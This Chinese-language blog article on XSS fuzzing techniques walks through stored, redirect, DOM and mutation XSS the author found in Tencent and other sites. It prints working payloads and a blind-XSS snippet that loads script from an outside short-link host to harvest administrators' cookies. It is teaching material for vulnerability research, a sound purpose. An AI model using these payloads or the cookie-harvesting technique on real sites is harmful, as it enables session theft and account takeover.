对于 XSS 的漏洞挖掘过程,其实就是一个使用 Payload 不断测试和调整再测试的过程,这个过程我们把它叫做 Fuzzing;同样是 Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。
XSS 应该是我挖过的最多漏洞的一种 web 漏洞类型,累积下来,就国内 BAT、金山、新浪、网易等这些互联网公司的 XSS,应该至少也有超过 100 个,这篇文章主要就是根据自己的一些经验与大家一起探讨编码绕过、处理等技术因素之外的 XSS Fuzzing 的一些技巧。
这是一个比较常规的 Web 漏扫中 XSS 检测插件的一个流程图,其中比较关键的几个点在于:
检测输入点其实就是寻找数据入口,比如说 GET/POST 数据,或者 Header 头部里的 UA/Referer/Cookie,再或者 URL 路径等等,这些都可以成为输入入口,转换为比较形象点的说法,比如看到一个搜索框,你可能会在搜索框里提交关键词进行搜索,那么这里可能就发生了一个 GET 或者 POST 请求,这里其实就是一个输入点。
其次是潜在注入点检测,潜在注入的检测是判断输入点是否可以成功把数据注入到页面内容,对于提交数据内容但是不输出到页面的输入点是没有必要进行 Fuzzing 的,因为即使可以提交攻击代码,也不会产生 XSS;在潜在注入点的检测通常使用的是一个随机字符串,比如随机 6 位数字,再判断这 6 位数字是否返回输出在页面,以此来进行判断。为什么不直接使用 Payload 进行判断呢?因为 Payload 里包含了攻击代码,通常很多应用都有防火墙或者过滤机制,Payload 中的关键词会被拦截导致提交失败或者不会返回输出在页面,但这种情况不代表不能 XSS,因为有可能只是 Payload 不够好,没有绕过过滤或者其他安全机制,所以采用无害的随机数字字符就可以避免这种情况产生,先验证可注入,再调整 Payload 去绕过过滤;而随机的目的在于不希望固定字符成为 XSS 防御黑名单里的关键词。
再者就是生成 Payload 和进行攻击验证的过程,Payload 的好坏决定了攻击是否可以成功;而对于不同情况的注入点,需要使用的 Payload 也是不同的,比如,注入的位置在标签属性中还是标签事件中,使用的 Payload 是不同的;
其实 Payload 的生成就是一个不断 Fuzzing 和不断调整的过程,根据注入位置上下文代码的结构、内容以及应用过滤机制等不断调整和不断提交测试的过程,下图是一个 Payload 的生成流程。
那么假如某次 Payload 调整后 Fuzzing 成功,也就意味 XSS 注入成功,并得出这个漏洞的 PoC。
其实为什么一开始就介绍下扫描器常规的 XSS 检测方式呢?因为手工 Fuzzing XSS 其实也是这样一个过程,很多安全工具其实就是将手工的过程自动化。
接下来进入正题我们一起探讨一些 XSS 的挖掘技巧。
这是一个微信网页版的存储型 XSS,注入点是微信昵称的位置(右图),通过访问微信群成员列表可以触发 XSS 导致弹框。
这是微信某个春节摇一摇活动的 XSS(这里是生效了
),通过微信访问活动页面,自动授权后获取微信昵称并自动显示在活动页面,当时微信昵称是:
- <h1>
,由于
- <h1>张祖优(Fooying)";alert(0)//
生效,导致昵称显示变大。
- <h1>
这仍然是腾讯某个产品的活动页面,也是通过微信点击自动获取昵称然后在活动页面显示,这个截图的页面链接实际是:
(相当于当时我的昵称是:
- http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">点击抽奖</a>&type=share&from=timeline&isappinstalled=1
)
- <a href="http://www.fooying.com">点击抽奖</a>
这也是一个微信网页版存储型 XSS,注入点同样是在昵称,通过访问通讯录可以触发 XSS,触发的昵称大概是:
。
- <img src=0 onerror=alert(5)>
看了几个漏洞,再给大家看看我之前的 QQ 昵称和微信昵称:
其中右图的昵称是
。
- <h1>张祖优(Fooying)";alert(0)//
看了上面的例子,我想大家已经可以发现,前面的几个 XSS 其实都是基本通过昵称的位置提交攻击代码导致了 XSS 的产生,这其实就是一种 XSS 被动挖掘的技巧。其实漏洞挖掘,特别是 XSS,有时候是靠主动挖掘,但更多的时候也可以通过被动的方式发现,特别是类似 QQ、微信这种一号多用的情况,可以想象你的微信昵称、QQ 昵称或者签名等,在不同的应用、网页中登录,你的昵称就会在不同的地方显示,这些昵称在微信、QQ 本身不会导致问题的产生,但到了其他页面呢?也许就会导致问题的产生。
当然,现在微信应不允许设置含有特殊字符的昵称了,而 QQ 大家也可以看到,对尖括号进行了转义,不过在这之前,单单就微信昵称,通过这种方式,我起码发现了腾讯以及非腾讯的各种朋友圈中的活动的不下于二十个 XSS。
这是一个 13 年提交的腾讯云登录跳转的 XSS。
前一段时间雷锋网有对我做了一个,这篇文章也发在 KM 上,不知道大家有没有看到其中有一个细节,讲的是我为了哄女朋友开心,然后挖洞收集公仔,当时其实我是在两天内挖洞十几个洞,并且都是 XSS。可能大家就会好奇为什么能一下子挖洞那么多的洞,还是不同厂商的,我现在能记得的有 YY、4399、搜狐畅游等,其实是当时找到一个规律,上图中腾讯云的这个 XSS 也属于这个规律,所以就专门提出来。
登录和注册是大部分网站的必备功能,而不知道大家有没有注意到一个细节,当你在未登录状态下访问一些需要需要登录态的页面,比如个人中心,他会自动跳转到登录或者注册页面要求你登录,然后这个时候的登录 URL 其实会带有一个跳转 URL,这是为了方便你登录后直接跳转到你原来访问的页面,是一个比较好的用户体验的设计。
在使用这样的功能的时候,我直接手上尝试,直接把跳转的 URL 修改为我的博客链接,然后再登录,发现可以直接跳转到我的博客,于是我再尝试了 javascript:alert(0),发现 JS 代码可以直接执行并弹了个框。这个功能的设计其实原来是进行站内的跳转,但是由于功能设计上的缺陷,没有对跳转的 URL 进行判断或者判断有问题,于是可以导致直接跳转到其他网站或者产生 XSS。当然,不止是登录,注册功能也存在同样问题。当时我去测试了很多网站,发现很多网站就存在这样的问题,于是我才可以做到连续去挖不同网站的漏洞来收集公仔,就是用了同样的一个问题。
- http://www.xxx.com/login?url=xxx
- http://www.xxx.com/reg?url=xxx
而整体的测试流程大概是这样的:
这是之前腾讯云官网的一个 DOM XSS
这是之前微信国外版官网的一处 DOM XSS
这是之前 ent.qq.com 域下的一个 DOM XSS,这里应该是实现一个页面访问来源统计的功能,将 referer 拼接到 URL 通过 img 加载的方式发起 GET 请求以此向服务端发送访问来源 URL,黑客可以构造地址为
的页面点击链接跳转到
- http://www.0xsafe.com" onerror="alert(0)
,就可以触发 XSS。
- http://datalib.ent.qq.com/tv/3362/detail.shtml
这是比较早提交的一个游戏 igame.qq.com 的 DOM XSS,这处的 XSS 正好当时保存下 JS,如下,读取 window.location 然后写入到 ID 为 output 的标签代码里,于是导致 XSS 的产生。
- <script language="JavaScript">
- document.domain="qq.com";
- function pageLoaded(){
- window.parent.dhtmlHistory.iframeLoaded(window.location);
- document.getElementById("output").innerHTML = window.location;
- }
- </script>
这类 XSS 都是 DOM XSS,DOM XSS 不同于其他类型的 XSS,XSS 的产生是由于页面中的 JS 代码在页面渲染完成后通过读取 URL 等内容修改页面 DOM 树而产生的 XSS。
其实不难可以发现,这类 XSS 在大部分情况下也是有一些技巧可言的,比如大家可以发现网址中都存在 #(DOM XSS 不是一定 URL 得存在 #,只是这种情况比较常见);那么是不是见到网址中存在#就可以随便去修改# 后面的内容就 Fuzzing 一通呢?当然不是,还需要去判断页面的源码中的 JS 代码以及页面引用的 JS 文件的代码中是否存在对以下内容的使用,是否存在没有过滤或者过滤不全的情况下将以下的内容直接输入到 DOM 树里。
- document.location/location
- document.URL
- document.URLUnencoded
- deddocument.referrer
- window.location
一旦有存在以上的情况,那么往往存在 DOM XSS 的概率就比较大,接下来就是看看能不能绕过相关的过滤和安全机制的处理。
这是之前挖的一个存在于以前 PC 版本 QQ 的网页预览功能的一个 XSS;通过在聊天窗口分享文章,然后点击链接会在右侧打开页面显示文章的内容,会导致 XSS 的产生。
这是一篇发表在博客园的文章,文章里包含一些 XSS 的攻击代码,但是可以发现代码在博客园本身已经被进行了转义,没法产生 XSS。
而文章被在 QQ 中预览的时候,可以发现,被转义的攻击代码又转义了回来(因为这个功能需要只显示文本内容,而删除一些没必要的页面框架、内容的显示,所有对内容有做了一些转码等操作),导致的攻击代码的生效,并由此产生了 XSS(其实这类 XSS 叫做 mXSS,突变型 XSS)。
这是一篇发表在微信公众号的文章,文章中包含了一些 XSS 盲打(后面会进行介绍)的攻击代码,然后可以看到,在微信公众号文章里代码被进行了转义,而无法生效产生 XSS。
chuansong.me 是一个第三方网站,会主动采集微信公众号上的一些文章并生成访问链接和索引,可以看到同样的一篇文章在被传送门采集转载后,本来会被转义的代码直接生效了,于是就成为了存储型 XSS,我们通过盲打平台也可以看到其他用户访问这篇文章而被采集并发送到盲打平台的 Cookie。
有的时候,被转义的内容也会成为生效的攻击代码,通过控制源头的方式也可以使得 XSS 的攻击产生。
这是我 XSS 盲打平台项目的其中一页结果截图,这里的每一项都包含对应网址访问用户的 Cookie,而 Cookie 则可以用来直接登录对应的地址;在图里包含了 360 soso、360 游戏客服、新浪邮箱等几个网站的后台的 Cookie,不过可惜的是,由于这些平台进行了访问限制,所以外网无法访问,也无法登录。
抛开无法访问的问题,那么这些信息是怎么得来了呢?XSS 盲打。
对于我而言,看到类似下图这样一个内容提交的地方,我都会忍不住提交盲打代码
- </textarea>
- '">
- <script src=http://t.cn/R6qRcps>
- </script>
而类似于这样的功能,如果存在 XSS,一般会在什么地方什么时候出发攻击代码呢?管理人员在后台审核这些内容的时候,所以说一般 XSS 盲打如果成功,往往可以获得对应功能管理后台的地址以及管理员的 Cookie,假如管理后台没有做访问的限制,就能用对应管理员的 Cookie 登录上去。
这就是上图手游客服中心盲打成功得到的后台地址和 Cookie(当前已失效并修复)。
在 XSS 的世界里有很多的 Fuzzing 技巧和方式,学会从正常功能中发现攻击方式,在的世界里,除了技术,还需要猥琐的思维和技巧。
另外,其实大家不难发现,不管是昵称、网址跳转或者是文章提到的内容转义的变化也好,很多时候内容原有的地方并不会触发 XSS,而内容在其他地方使用后则就触发了 XSS,所以对于开发人员来说,不管是来自哪里的内容,都应该有自己的过滤机制,而不能完全的信任,其实总结一句话就是:任何的输入都是有害的!
来源: http://www.cnblogs.com/qcloud1001/p/6650199.html